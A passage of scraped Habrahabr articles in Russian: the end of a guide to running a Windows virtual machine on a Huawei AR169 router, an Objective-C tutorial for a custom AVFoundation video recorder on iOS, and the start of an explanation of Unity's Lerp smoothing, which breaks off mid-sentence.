<AR169>startup system-software flash:/AR169-OSP-V200R007C00SPC900.cc Далее, после перезагрузки по команде display version убедимся, что роутер загрузился с новой версией прошивки V200R007C00SPC900. 4) Переходим к созданию виртуальной машины. Виртуальная машина создается в интерфейсе CLI роутера в режиме virtual-environment. Сперва проверим, включен ли DHCP на виртуальных интерфейсах GE0/0/5 и GE0/0/6 которые связывают роутер и плату OSP. Для этого посмотрим конфигурацию всего устройства: [AR169]display current-configuration … interface GigabitEthernet0/0/5 ip address 192.168.2.1 255.255.255.0 dhcp select interface # interface GigabitEthernet0/0/6 description VirtualPort ip address 192.168.3.1 255.255.255.0 dhcp select interface # Лишний вывод я обрезал, оставил только вывод пятого и шестого интерфейсов. Как можно видеть, здесь присутствует включенный DHCP сервер, который будет раздавать в эти интерфейсы IP-адреса из сеток /24. В моем случае это было настроено по умолчанию, но в случае, если DHCP на этих интерфейсах не настроен (по крайней мере в мануале про это написано), следует его включить: [AR169]dhcp enable [AR169]interface GigabitEthernet0/0/5 [AR169-GigabitEthernet0/0/5]dhcp select interface [AR169-GigabitEthernet0/0/5]quit [AR169]interface GigabitEthernet0/0/6 [AR169-GigabitEthernet0/0/6]dhcp select interface Так же на этом этапе можно сменить адреса вашей виртуальной сети, если эти адреса чем то не устраивают, в данном случае сетевые карты виртуальных машин будут в одном адресном пространстве GigabitEthernet0/0/5, т.е. в данном случае 192.168.2.0 /24. Я оставлю как есть. Для чего нужно раздавать IP-адреса в этот интерфейс? Ниже схема того, как взаимосвязаны между собой роутер (MCU) и плата x86 (OSP): Рис. 5 Как видно из рисунка 5, GE5/0/0/5 является интерфейсом связи с MCU и OSP, и первый выданный по DHCP адрес должен будет получить интерфейс br0 виртуального свича. Проверим, какой адрес выдался из пула адресов интерфейса Gi0/0/5: [AR169]display ip pool interface gigabitethernet0/0/5 used ----------------------------------------------------------------------------- Start End Total Used Idle(Expired) Conflict Disable ----------------------------------------------------------------------------- 192.168.2.1 192.168.2.254 253 1 252(0) 0 0 ----------------------------------------------------------------------------- Network section : ----------------------------------------------------------------------------- Index IP MAC Lease Status ----------------------------------------------------------------------------- 253 192.168.2.254 34a2-a2fc-edd8 36112 Used ----------------------------------------------------------------------------- Таким образом, адрес 192.168.2.254 будет основной точкой входа в нашу виртуальную среду, именно к нему нужно обращаться для перехода в режим виртуальной среды платы OSP следующей командой: [AR169]virtual-environment 192.168.2.254 В этом режиме предстоит скачать образ операционной системы с заранее поднятого ftp сервера, а также сформировать и запустить виртуальную машину. Я поднял FTP-сервер FileZilla на машине с адресом 172.31.31.250, подключенным к LAN-свичу нашего устройства, т.е. к VLAN1: Рис.6 Важное замечание. В моем случае, роутер не является шлюзом по умолчанию для FTP-сервера, поэтому я вручную на ftp-сервере прописал статический маршрут в сеть 192.168.2.0 /24 через 172.31.31.77. На FTP-сервере заведен пользователь user1 которому доступна папка с образом Windows 8.1 – файл с названием win81.iso. Скачаем его в нашу виртуальную среду: [AR169]virtual-environment 192.168.2.254 [AR169-virtual-environment-192.168.2.254]download package win81.iso ftp ftp://172.31.31.250/win81.iso user user1 password cipher Enter Password(<1-16>): The download ratio is 100%. Info: Package downloading finished. Далее, создаем пустой виртуальный диск размером 30Гб для будущей операционной системы: [AR169-virtual-environment-192.168.2.254]blank-disk name disk1 size 30 Формируем OVA-файл из ISO с параметрами нашей будущей виртуальной машины: [AR169-virtual-environment-192.168.2.254]ova file win81 iso win81.iso disk disk1 cpu 4 memory 2800 network-card 1 network-card-type virtio extend-description "-hdb /dev/external_disk" Info: This operation will take several minutes, please wait.... Комментарии по параметрам команды ova file: • Первым параметром будет название создаваемого ova-файла без расширения, т.е. win81; • Параметро iso – наш win81.iso файл, который был скачен ранее; • Параметр disk – название диска, созданного нами командой blank-disk, т.е. disk1 • Cpu – указываем количество процессоров от 1 до 4. • Memory – количество оперативной памяти в гигабайтах, в данном случае 2800 Мб (в случае если используем extend-description в предыдущей команде, то больше памяти поставить нельзя). • Network-card – количество сетевый карт виртуальной машины, в данном случае 1. • Network-card-type – тип виртуальной карты, возможны три варианта: e1000, rpl8139 и virtio. Рекомендованный тип для Windows – e1000. • Extend-description – важный параметр, который регламентирует расширеные настройки виртуальной машины, такие как дополнительный жесткий диск, serial interface, HDMI и Audio, а также USB. Если не описывать эти параметры, то виртуальная машина «не увидит» допольнительный жетский диск, который можно установить в наше устроство и т.п. Но есть важное ограничение, налагаемое CLI устройства – команда целиком не может быть длиннее 256 символов, а параметры подключения USB или HDMI превышают это ограничение. Для этого случае в руководстве описан способ создание OVA-файла офф-лайн, то есть не на данном устройстве, а на вашей linux-машине. Здесь я не буду приводить это описание и буду использовать только один короткий параметр для подключения внешнего диска: "-hdb /dev/external_disk". Так же важное замечание при И так, ova-файл сформирован, можно приступать к инсталляции виртуальной машины из этой сборки: [AR169-virtual-environment-192.168.2.254]install vm win81 package win81.ova Info: This operation will take several minutes, please wait.. Виртуальная машина проинсталлирована, далее зайдем в режим управления виртуальной машины, пропишем номер порта (например 8) по которому она в дальнейшем будет доступна по VNC viewer: [AR169-virtual-environment-192.168.2.254]vm win81 [AR169-virtual-environment-vm-win81]vnc-server port 8 password cipher Enter Password(<6-8>): [AR169-virtual-environment-vm-win81] После чего можно виртуальную машину активировать и стартовать: [AR169-virtual-environment-vm-win81]vm activate Info: VM activated successfully. [AR169-virtual-environment-vm-win81]vm start Info: VM started successfully. Проверим состояние виртуальной машины следующей командой, а также запомним имя ее виртуального интерфейса (veth), оно нам пригодится в следующем шаге: [AR169-virtual-environment-192.168.2.254]display vm win81 Name: win81 Status: running Package: win81.ova Auto-boot: enable Exception-action: alarm Cpu-shared: Current: 0 1 2 3 Next: Cpu-mono: Current: Next: Storage-claimed: Current: Disk: disk1 Target: sda Size: 30720M Next: Memory: Current: 2800M Next: Cdrom: Current: Name: win81.iso Type: private Next: Veth: Current: Name: win81_eth1 Mac: 0a:0b:1b:ce:e9:17 Next: Из данного вывода видно, что виртуальная машина win81 находится в запущенном состоянии, использует в качестве основного жесткого диска disk1 емкостью 30720 Мб, количество памяти 2800 Мб и ее виртуальный сетевой интерфейс называется win81_eth. Следующим шагом свяжем этот интерфейс с системой роутинга самого роуетера: Для этого создаем виртуальный интерфейс veth2 для HostOS: [AR169-virtual-environment-192.168.2.254]veth veth2 … и создаем виртуальный линк между HostOS и виртуальной машиной Win81 (см. Рисунок 5): [AR169-virtual-environment-192.168.2.254]link veth veth2 to veth win81_eth1 Добавляем виртуальный интерфейс Host OS к виртуальному свичу vSwitch: [AR169-virtual-environment-192.168.2.254]ovs bridge br0 [AR169-virtual-environment-ovs-br0]port veth2 link-type access [AR169-virtual-environment-ovs-br0]quit Все, работы по созданию виртуальной машины завершены, можно приступать к ее инсталляции и непосредственной работе с ней. Для этого будем использовать бесплатный VNC Viewer, предварительно скачав его с сайта разработчика (RealVNC). В качестве адреса указываем наш виртуальный интерфейс 192.168.2.254:8 — и порт 8, который мы настроили чуть выше. В настройках соединения, в разделе Expert следует обязательно сделать параметр FullColor = true, в противном случае ничего работать не будет: Рис. 7 Вводим пароль, который мы задали в команде vnc-server и видим начальный экран установки нашей гостевой операционной системы, в данном случае Windows 8.1: Рис. 8. Процесс инсталляции Windows ничем не отличается от обычного, поэтому я пропущу этот момент, будем считать, что Windows успешно установился и запущен. Сразу же проверим, что у нас с сетевыми настройками: Рис. 9 Как видно, DHCP выдал адрес 192.168.2.253 и мы можем пинговать шлюз 192.168.2.1. Таким образом, сетевая карта установилась нормально и виртуальная машина взаимодействует с роутером. Осталось выпустить виртуальную машину в интернет (настроить NAT на роутере) и, например, «прокинуть» порт снаружи для доступа по RDP к виртуальной машине (в этом случае крайне желательно настроить на сетевой карте виртуальной машины статический адрес из сети 192.168.2.0/24, а не оставлять его динамическим): Создадим Access-list для фильтрации хостов, которым нужно предоставить доступ в интернет, в данном случае всю сеть 192.168.2.0 /24 : [AR169]acl number 2001 [AR169-acl-basic-2001] rule permit source 192.168.2.0 0.0.0.255 [AR169-acl-basic-2001]quit Подключим к интерфейсу GigabitEthernet0/0/4 (WAN) кабель от провайдера, пусть нам выделен статический адрес 195.19.XX.XX, шлюз по умолчанию 195.19.XX.1: [AR169]interface GigabitEthernet0/0/4 [AR169-GigabitEthernet0/0/4]ip address 195.19.XX.XX 255.255.255.224 [AR169-GigabitEthernet0/0/4] nat outbound 2001 Сделаем трансляцию порта с внешнего 33389 на внутренний 3389 хоста нашей виртуальной машины 192.168.2.254 [AR169-GigabitEthernet0/0/4] nat server protocol tcp global current-interface 33389 inside 192.168.2.253 3389 [AR169-GigabitEthernet0/0/4]quit Настроим маршрут по умолчанию в Интернет: [AR169] ip route-static 0.0.0.0 0.0.0.0 195.19.XX.1 Обязательно сохраним конфигурацию: [AR169]save Warning: The current configuration will be written to the device. Are you sure to continue?[Y/N]:Y It will take several minutes to save configuration file, please wait........... Configuration file had been saved successfully Note: The configuration file will take effect after being activated На этом базовые настройки можно считать завершенными, была поднята одна виртуальная машина с гостевой ОС Windows 8.1, проведено обновление ПО устройства, сделан доступ в интернет и трансляция порта снаружи для доступа к ОС посредством протокола RDP.
https://habrahabr.ru/post/318014/
habrahabr
Custom Video Recorder для iOS приложений
['запись видео с камеры', 'настройка камеры iPhone', 'передача видео по сети']
Приложение Камера для iPhone / iPad очень удобно в использовании. Пользователь легко может переключаться из режима фотографирования на видеосъемку. В режиме видеосъемки показывается время съемки и...
Приложение Камера для iPhone / iPad очень удобно в использовании. Пользователь легко может переключаться из режима фотографирования на видеосъемку. В режиме видеосъемки показывается время съемки и всего одна кнопка (Старт / Стоп). К сожалению, при использовании стандартного UIImagePickerController’а нет возможности контролировать количество кадров в секунду и некоторые другие параметры. Я покажу, как, используя AVFoundation framework, получить доступ к более тонким настройкам камеры, таким как, количество кадров в секунду, качество видео, длительность записи, размер видео файла. Пользователь сразу будет видеть на экране видео в том качестве, в котором оно будет сохранено. Основной объект, который позволит мне вести видеосъемку: AVCaptureSession // сессия захвата видео с камеры Кроме того, мне понадобятся: AVCaptureVideoPreviewLayer // слой, в котором будем показывать видео с камеры в реальном времени AVCaptureDevice // устройство захвата видео / аудио AVCaptureDeviceInput // вход видео / аудио для AVCaptureSession AVCaptureMovieFileOutput // выход AVCaptureSession для записи захваченного видео в файл Дизайн можно хранить в xib файле или storyboard’е. Используя Autolayout и Constraints в дизайнере можно добиться того, что все панели будут автоматически растягиваться, кнопки выравниваться по центру (левому или правому краю). У нашего VideoRecorderController‘а будет три режима работы: Готов к съемке: AVCaptureSession запущена, на экране видео с камеры в реальном времени, но запись не идет. На нижней панели активна кнопка Cancel — отмена съемки, также активна кнопка Start — начало записи, кнопка Use Video скрыта. На верхней панели показано время записи – 00:00. После нажатия кнопки Cancel у делегата видеосъемки срабатывает метод -(void)videoRecorderDidCancelRecordingVideo. После нажатия кнопки Start переходим в следующий режим. Идет съемка: AVCaptureSession запущена, на экране видео с камеры в реальном времени, при этом идет запись видео в файл. На нижней панели вместо кнопки Start появляется кнопка Stop — конец записи, кнопка Cancel скрыта, кнопка Use Video также скрыта. На верхней панели показано текущее время записи – 00:22. После нажатия кнопки Stop запись останавливается, переходим в следующий режим. Съемка завершена: AVCaptureSession остановлена, на экране последний кадр отснятого видео, запись видео в файл завершена. По центру экрана появляется кнопка Play Video. На нижней панели вместо кнопки Cancel появляется кнопка Retake – переснять видео, появляется кнопка Use Video, кнопка Start скрыта. На верхней панели показана длительность видеозаписи – 00:25. После нажатия кнопки Play Video начнется просмотр отснятого видео с помощью AVPlayer. После нажатия кнопки Retake возвращаемся в первый режим. После нажатия кнопки Use Video у делегата видеосъемки срабатывает метод -(void)videoRecorderDidFinishRecording VideoWithOutputURL:(NSURL *)outputURL. Три режима работы - экраны В файле заголовка мне необходимо описать протокол делегата видеосъемки для обработки отмены видеозаписи и успешного завершения видеозаписи. Вот так будет выглядеть файл заголовка VideoRecorderController.h #import <UIKit/UIKit.h> #import <Foundation/Foundation.h> #import <CoreMedia/CoreMedia.h> #import <AVFoundation/AVFoundation.h> #import <AudioToolbox/AudioToolbox.h> #import <AVKit/AVKit.h> @protocol VideoRecorderDelegate <NSObject> // метод делегата, срабатывает при успешном завершении видеозаписи - (void)videoRecorderDidFinishRecordingVideoWithOutputPath:(NSString *)outputPath; // метод делегата, срабатывает при отмене видеозаписи - (void)videoRecorderDidCancelRecordingVideo; @end @interface VideoRecorderController : UIViewController @property (nonatomic, retain) NSString *outputPath; // путь к файлу видеозаписи @property (nonatomic, assign) id<VideoRecorderDelegate> delegate; @end В файле реализации VideoRecorderController.m я задаю несколько констант для видеозаписи и описываю свойства и методы, которые нужно привязать в дизайнере интерфейса. Мне понадобятся также: сессия захвата видео AVCaptureSession файл видео выхода AVCaptureMovieFileOutput устройство видео входа AVCaptureDeviceInput слой для отображения видео в реальном времени AVCaptureVideoPreviewLayer таймер и время для индикатора времени записи Файл реализации VideoRecorderController.m - объявление переменных #import "VideoRecorderController.h" #define TOTAL_RECORDING_TIME 60*20 // максимальное время видеозаписи в секундах #define FRAMES_PER_SECOND 30 // количество кадров в секунду #define FREE_DISK_SPACE_LIMIT 1024 * 1024 // минимальный размер свободного места (байт) #define MAX_VIDEO_FILE_SIZE 160 * 1024 * 1024 // максимальный размер видеофайла (байт) #define CAPTURE_SESSION_PRESET AVCaptureSessionPreset352x288 // качество видеозаписи #define BeginVideoRecording 1117 // звук начала записи видео #define EndVideoRecording 1118 // звук конца записи видео @interface VideoRecorderController () <AVCaptureFileOutputRecordingDelegate> { BOOL WeAreRecording; // флаг, определяющий идет ли запись видео AVCaptureSession *CaptureSession; AVCaptureMovieFileOutput *MovieFileOutput; AVCaptureDeviceInput *VideoInputDevice; } // Эти элементы и методы нужно привязать в дизайнере интерфейса @property (retain) IBOutlet UILabel *timeLabel; // индикатор времени записи на верхней панели @property (retain) IBOutlet UIButton *startButton; // кнопка Start / Stop @property (retain) IBOutlet UIImageView *circleImage; // кружок вокруг кнопки Start @property (retain) IBOutlet UIButton *cancelButton; // кнопка Cancel @property (retain) IBOutlet UIButton *useVideoButton; // кнопка Use Video @property (retain) IBOutlet UIView *bottomView; // нижняя панель @property (retain) IBOutlet UIButton *playVideoButton; // кнопка Play Video - (IBAction)startStopButtonPressed:(id)sender; // обработчик нажатия кнопки Start / Stop - (IBAction)cancel:(id)sender; // обработчик нажатия кнопки Cancel - (IBAction)useVideo:(id)sender; // обработчик нажатия кнопки Use Video - (IBAction)playVideo:(id)sender; // обработчик нажатия кнопки Play Video @property (retain) AVCaptureVideoPreviewLayer *PreviewLayer; // таймер и время для индикатора времени записи @property (retain) NSTimer *videoTimer; @property (assign) NSTimeInterval elapsedTime; @end После того, как отработал метод viewDidLoad, необходимо выполнить следующие действия: задать путь к файлу видеозаписи outputPath и удалить предыдущую запись добавить обработчик на выход приложения в фон UIApplicationDidEnterBackgroundNotification инициализировать сессию AVCaptureSession найти видеоустройство по умолчанию AVCaptureDevice и создать устройство видео входа AVCaptureDeviceInput перед тем, как добавить устройство видео входа, нужно обязательно вызвать метод [CaptureSession beginConfiguration] затем добавить устройство видео входа в сессию AVCaptureSession после добавления устройства видео входа нужно обязательно вызвать метод [CaptureSession commitConfiguration] найти аудиоустройство по умолчанию AVCaptureDevice, создать устройство аудио входа AVCaptureDeviceInput и добавить это устройство в сессию AVCaptureSession создать слой AVCaptureVideoPreviewLayer, на котором будет отображаться видео в реальном времени, привязать его к сессии AVCaptureSession, растянуть этот слой, на весь экран с сохранением пропорций (края кадра не попадут на экран) пересчитать размеры слоя AVCaptureVideoPreviewLayer в зависимости от ориентации устройства и отправить этот слой на задний план, чтобы поверх него отображались все панели и кнопки управления инициализировать видео выход в файл AVCaptureMovieFileOutput задать частоту кадров в секунду, максимальную длину видео в секундах задать максимальную длину видео в байтах задать минимальный размер свободного места на диске в байтах добавить видео выход в файл в сессию AVCaptureSession задать качество видео для сессии AVCaptureSession наконец выставить правильную ориентацию файла видео выхода AVCaptureMovieFileOutput и слоя просмотра видео AVCaptureVideoPreviewLayer При переходе в другое приложение, если идет видеозапись, она останавится. После того, как отработал метод viewWillAppear, надо запустить сессию AVCaptureSession, на экране начинает отображаться видео в реальном времени. Но если произошел переход на этот экран после просмотра видео, то не нужно запускать AVCaptureSession — должна быть проверка, что нет файла видеозаписи. Файл реализации VideoRecorderController.m - загрузка View Controller'а @implementation VideoRecorderController - (void)viewDidLoad { [super viewDidLoad]; self.outputPath = [[NSString alloc] initWithFormat:@"%@%@", NSTemporaryDirectory(), @"output.mov"]; [self deleteVideoFile]; [[NSNotificationCenter defaultCenter] addObserver: self selector: @selector(applicationDidEnterBackground:) name: UIApplicationDidEnterBackgroundNotification object: nil]; CaptureSession = [[AVCaptureSession alloc] init]; AVCaptureDevice *VideoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo]; if (VideoDevice) { NSError *error = nil; VideoInputDevice = [AVCaptureDeviceInput deviceInputWithDevice:VideoDevice error:&error]; if (!error) { [CaptureSession beginConfiguration]; if ([CaptureSession canAddInput:VideoInputDevice]) { [CaptureSession addInput:VideoInputDevice]; } [CaptureSession commitConfiguration]; } } AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio]; NSError *error = nil; AVCaptureDeviceInput *audioInput = [AVCaptureDeviceInput deviceInputWithDevice:audioDevice error:&error]; if (audioInput) { [CaptureSession addInput:audioInput]; } [self setPreviewLayer:[[AVCaptureVideoPreviewLayer alloc] initWithSession:CaptureSession]]; [self.PreviewLayer setVideoGravity:AVLayerVideoGravityResizeAspectFill]; [self setupLayoutInRect:[[[self view] layer] bounds]]; UIView *CameraView = [[UIView alloc] init]; [[self view] addSubview:CameraView]; [self.view sendSubviewToBack:CameraView]; [[CameraView layer] addSublayer:self.PreviewLayer]; MovieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; CMTime maxDuration = CMTimeMakeWithSeconds(TOTAL_RECORDING_TIME, FRAMES_PER_SECOND); MovieFileOutput.maxRecordedDuration = maxDuration; MovieFileOutput.maxRecordedFileSize = MAX_VIDEO_FILE_SIZE; MovieFileOutput.minFreeDiskSpaceLimit = FREE_DISK_SPACE_LIMIT; if ([CaptureSession canAddOutput:MovieFileOutput]) { [CaptureSession addOutput:MovieFileOutput]; } if ([CaptureSession canSetSessionPreset:CAPTURE_SESSION_PRESET]) { [CaptureSession setSessionPreset:CAPTURE_SESSION_PRESET]; } [self cameraSetOutputProperties]; } - (void)applicationDidEnterBackground:(UIApplication *)application { if (WeAreRecording) { [self stopRecording]; } } - (void)viewWillAppear:(BOOL)animated { [super viewWillAppear:animated]; if (![[NSFileManager defaultManager] fileExistsAtPath:self.outputPath]) { WeAreRecording = NO; [CaptureSession startRunning]; } } Поворот экрана разрешен только если сессия запущена, а запись еще не идет. Перед поворотом экрана необходимо пересчитать размеры экрана в зависимости от ориентации. После поворота надо выставить правильную ориентацию файла видео выхода AVCaptureMovieFileOutput и слоя просмотра видео AVCaptureVideoPreviewLayer. Файл реализации VideoRecorderController.m - обработка поворотов - (BOOL)shouldAutorotate { return (CaptureSession.isRunning && !WeAreRecording); } - (UIInterfaceOrientationMask)supportedInterfaceOrientations { return (UIInterfaceOrientationMaskPortrait | UIInterfaceOrientationMaskLandscape | UIInterfaceOrientationMaskPortraitUpsideDown); } - (void)viewWillTransitionToSize:(CGSize)size withTransitionCoordinator:(id<UIViewControllerTransitionCoordinator>)coordinator { [self setupLayoutInRect:CGRectMake(0, 0, size.width, size.height)]; [super viewWillTransitionToSize:size withTransitionCoordinator:coordinator]; [coordinator animateAlongsideTransition:^(id<UIViewControllerTransitionCoordinatorContext> context) { } completion:^(id<UIViewControllerTransitionCoordinatorContext> context) { [self cameraSetOutputProperties]; }]; } // Этот метод выставляет правильную ориентацию файла видео выхода и слоя просмотра // Он аналогичен viewWillTransitionToSize, нужен для поддержки версий iOS 7 и более ранних - (void)didRotateFromInterfaceOrientation:(UIInterfaceOrientation)fromInterfaceOrientation { [self setupLayoutInRect:[[[self view] layer] bounds]]; [self cameraSetOutputProperties]; } // Пересчитываем размеры слоя просмотра в зависимости от ориентации устройства - (void)setupLayoutInRect:(CGRect)layoutRect { [self.PreviewLayer setBounds:layoutRect]; [self.PreviewLayer setPosition:CGPointMake(CGRectGetMidX(layoutRect), CGRectGetMidY(layoutRect))]; } // Выставляем правильную ориентацию файла видео выхода и слоя просмотра - (void)cameraSetOutputProperties { AVCaptureConnection *videoConnection = nil; for ( AVCaptureConnection *connection in [MovieFileOutput connections] ) { for ( AVCaptureInputPort *port in [connection inputPorts] ) { if ( [[port mediaType] isEqual:AVMediaTypeVideo] ) { videoConnection = connection; } } } if ([videoConnection isVideoOrientationSupported]) { if ([UIApplication sharedApplication].statusBarOrientation == UIInterfaceOrientationPortrait) { self.PreviewLayer.connection.videoOrientation = AVCaptureVideoOrientationPortrait; [videoConnection setVideoOrientation:AVCaptureVideoOrientationPortrait]; } else if ([UIApplication sharedApplication].statusBarOrientation == UIInterfaceOrientationPortraitUpsideDown) { self.PreviewLayer.connection.videoOrientation = AVCaptureVideoOrientationPortraitUpsideDown; [videoConnection setVideoOrientation:AVCaptureVideoOrientationPortraitUpsideDown]; } else if ([UIApplication sharedApplication].statusBarOrientation == UIInterfaceOrientationLandscapeLeft) { self.PreviewLayer.connection.videoOrientation = AVCaptureVideoOrientationLandscapeLeft; [videoConnection setVideoOrientation:AVCaptureVideoOrientationLandscapeLeft]; } else { self.PreviewLayer.connection.videoOrientation = AVCaptureVideoOrientationLandscapeRight; [videoConnection setVideoOrientation:AVCaptureVideoOrientationLandscapeRight]; } } } По нажатию кнопки Start / Stop начнется запись, если запись еще не идет. Если запись уже идет, то запись будет останавлена. По нажатию кнопки Cancel срабатывает метод делегата видеозаписи videoRecorderDidCancelRecordingVideo. По нажатию кнопки Retake сбрасывается таймер, меняются названия кнопок, скрывается кнопка Use Video, заново запускается сессия захвата видео. По нажатию кнопки Use Video срабатывает метод делегата видеозаписи videoRecorderDidFinishRecordingVideoWithOutputPath, в который необходимо передать путь к видео файлу. По нажатию кнопки Play Video начинается показ отснятого видео, используя AVPlayer. Когда срабатывает таймер видеозаписи, обновляется индикатор времени на верхней панели. Метод делегата файла видео записи срабатывает, если размер файла достиг максимально допустимого значения или время записи достигло максимально установленного. В этот момент запись останавливается. Файл реализации VideoRecorderController.m - обработка нажатий кнопок, метод делегата AVCaptureFileOutputRecordingDelegate - (IBAction)startStopButtonPressed:(id)sender { if (!WeAreRecording) { [self startRecording]; } else { [self stopRecording]; } } - (IBAction)cancel:(id)sender { if ([CaptureSession isRunning]) { if (self.delegate) { [self.delegate videoRecorderDidCancelRecordingVideo]; } } else { self.circleImage.hidden = NO; self.startButton.hidden = NO; self.useVideoButton.hidden = YES; [self.cancelButton setTitle:@"Cancel" forState:UIControlStateNormal]; self.timeLabel.text = @"00:00"; self.elapsedTime = 0; [CaptureSession startRunning]; } } - (IBAction)useVideo:(id)sender { if (self.delegate) { [self.delegate videoRecorderDidFinishRecordingVideoWithOutputPath:self.outputPath]; } } - (IBAction)playVideo:(id)sender { if ([[NSFileManager defaultManager] fileExistsAtPath:self.outputPath]) { NSURL *outputFileURL = [[NSURL alloc] initFileURLWithPath:self.outputPath]; AVPlayer *player = [AVPlayer playerWithURL:outputFileURL]; AVPlayerViewController *controller = [[AVPlayerViewController alloc] init]; [self presentViewController:controller animated:YES completion:nil]; controller.player = player; controller.allowsPictureInPicturePlayback = NO; [player play]; } } // Это начало записи видео - (void)startRecording { // Проигрываем звук начала записи видео AudioServicesPlaySystemSound(BeginVideoRecording); WeAreRecording = YES; [self.cancelButton setHidden:YES]; [self.bottomView setHidden:YES]; [self.startButton setImage:[UIImage imageNamed:@"StopVideo"] forState:UIControlStateNormal]; self.timeLabel.text = @"00:00"; self.elapsedTime = 0; self.videoTimer = [NSTimer scheduledTimerWithTimeInterval:1 target:self selector:@selector(updateTime) userInfo:nil repeats:YES]; // Удаляем файл видеозаписи, если он существует, чтобы начать запись по новой [self deleteVideoFile]; // Начинаем запись в файл видеозаписи NSURL *outputURL = [[NSURL alloc] initFileURLWithPath:self.outputPath]; [MovieFileOutput startRecordingToOutputFileURL:outputURL recordingDelegate:self]; } - (void)deleteVideoFile { NSFileManager *fileManager = [NSFileManager defaultManager]; if ([fileManager fileExistsAtPath:self.outputPath]) { NSError *error = nil; if ([fileManager removeItemAtPath:self.outputPath error:&error] == NO) { // Обработчик ошибки удаления файла } } } // Это конец записи видео - (void)stopRecording { // Проигрываем звук конца записи видео AudioServicesPlaySystemSound(EndVideoRecording); WeAreRecording = NO; [CaptureSession stopRunning]; self.circleImage.hidden = YES; self.startButton.hidden = YES; [self.cancelButton setTitle:@"Retake" forState:UIControlStateNormal]; [self.cancelButton setHidden:NO]; [self.bottomView setHidden:NO]; [self.startButton setImage:[UIImage imageNamed:@"StartVideo"] forState:UIControlStateNormal]; // останавливаем таймер видеозаписи [self.videoTimer invalidate]; self.videoTimer = nil; // Заканчиваем запись в файл видеозаписи [MovieFileOutput stopRecording]; } - (void)updateTime { self.elapsedTime += self.videoTimer.timeInterval; NSInteger seconds = (NSInteger)self.elapsedTime % 60; NSInteger minutes = ((NSInteger)self.elapsedTime / 60) % 60; self.timeLabel.text = [NSString stringWithFormat:@"%02ld:%02ld", (long)minutes, (long)seconds]; } - (void)captureOutput:(AVCaptureFileOutput *)captureOutput didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { if (WeAreRecording) { [self stopRecording]; } BOOL RecordedSuccessfully = YES; if ([error code] != noErr) { // Если при записи видео произошла ошибка, но файл был успешно сохранен, // будем все равно считать, что запись прошла успешно id value = [[error userInfo] objectForKey:AVErrorRecordingSuccessfullyFinishedKey]; if (value != nil) { RecordedSuccessfully = [value boolValue]; } } if (RecordedSuccessfully) { // Если запись прошла успешно, появляется кнопка Use Video self.useVideoButton.hidden = NO; } } - (void)viewDidUnload { [super viewDidUnload]; CaptureSession = nil; MovieFileOutput = nil; VideoInputDevice = nil; } @end Здесь можно найти исходный код моего проекта и попробовать, как работает приложение. Ссылки на источники: UIImagePickerController AVFoundation AVCaptureSession AVCaptureDevice AVCaptureDeviceInput AVCaptureMovieFileOutput AVCaptureVideoPreviewLayer Полный список Video Input Presets
https://habrahabr.ru/company/arcadia/blog/316862/
habrahabr
Об использовании и понимании функции Lerp в Unity3D
['unity3d']
Приветствую хабровчан. Решил написать статью об одной теме, которую недавно затронул в общении со знакомыми людьми. Тема касается не столько использования, сколько понимания типового использования...
Приветствую хабровчан. Решил написать статью об одной теме, которую недавно затронул в общении со знакомыми людьми. Тема касается не столько использования, сколько понимания типового использования этой функции. Собственно, я — не особо программист, и не разработчик, так что мой взгляд — взгляд, так сказать, обывателя-дилетанта. Написание статьи связано с общением с такими же как я непрофессионалами и выявлением некоторых разногласий по поводу поведения популярного куска кода с использованием функции Lerp в разных туториалах. Нас интересует функция Lerp в Unity3D. А конкретнее, метод Lerp класса Vector3D. Впрочем, все «лерпы» в Юнити работают более или менее идентично. Итак, классический образчик использования Lerp в Юнити, фигурирующий во многих туториалах: ... Vector3 destinationPoint; float smoothing; ... void Update() { //Плавное "скольжение" из одной точки в другую transform.position = Vector3.Lerp (transform.position, destinationPoint, smoothing * Time.deltaTime); } По идее, в данном коде объект, к которому относится скрипт, вместо моментального переноса в точку destinationPoint плавно туда передвигается. Код — по сути — простой. Однако, в его простоте есть определенные нюансы. Первый момент возник, когда один человек, кинув взгляд, сказал, что этот код линейно интерполирует положение объекта из текущего в destinationPoint . Собственно, функция Lerp — это и правда попросту линейная интерполяция. Но это сама функция. А вот действие кода вышеупомянутого метода Update уже не столь очевидно. При его применении видно, что объект сдвигается в нужном направлении, и по ходу дела замедляется. В случае же «истинной» линейной интерполяции объект должен начать движение, перемещаться с фиксированной скоростью, затем резко замереть. Именно так происходит, если обращаться к вариантам использования Lerp не из туториалов, а из официальной справки по скриптам (конкретно, по методу Lerp). А вот упомянутый код ведет себя не так. Второй момент возник, когда другой человек сказал, что это вообще работать не должно. Функция Lerp должна принимать параметр (назовем его традиционно t ), который меняется от 0 до 1. Соответственно, при нуле — положение соответствует начальной точке пути; при единице — конечной. Стало быть, когда параметр пробегает значения от 0 до 1 происходит перемещение от начальной точки к конечной. Но ведь в вышеуказанном коде параметр t практически не меняется! Переменная smoothing, задающая «гладкость» движения — фиксированна. deltaTime меняется в случайных пределах, но грубо-примерно находится на одном уровне; для постоянной частоты кадров она будет постоянна. Таким образом можно считать, что параметр t вообще не меняется, а значит и не будет меняться положение точки. И движения не будет. Опять же, реальность показывает, что это не так. Код работает, и объект перемещается куда нужно. Еще и с замедлением. Почему так происходит? Потому что положение начальной точки интерполяции меняется при каждом обновлении. Примем для простоты, что частота кадров стабильная, и произведение параметра сглаживания на длину кадра равно 0.25 (одна четверть). Пусть нам надо пройти путь d от начальной точки до конечной: В результате выполнения Vector3.Lerp (transform.position, destinationPoint, 0.25); получаем точку на расстоянии четверти от начала. Эта-то точка и становится новым положением объекта, и при следующем вызове метода Update() плясать мы будем уже от нее. Это к вопросу: почему это все же работает. Новое расстояние d' теперь меньше (поскольку объект придвинулся). Стало быть, четверть от этого расстояния будет тоже меньше. В итоге, объект сдвинется еще ближе к точке назначения, но уже на меньшее расстояние. При следующем обновлении — объект пройдет еще меньшее расстояние. Это уже к вопросу: почему используем линейную интерполяцию, а получаем нелинейное движение. Чем ближе объект к точке назначения, тем меньшее расстояние ему до него остается, но тем и меньше шаг, который он сделает, подобно объекту из апорий Зенона. Фактически, объект движется к точке назначения по обратноэкспоненциальной зависимости, постоянно приближаясь к нему, но никогда не достигая. Ну, это с математической точки зрения. С практической же — зависит от 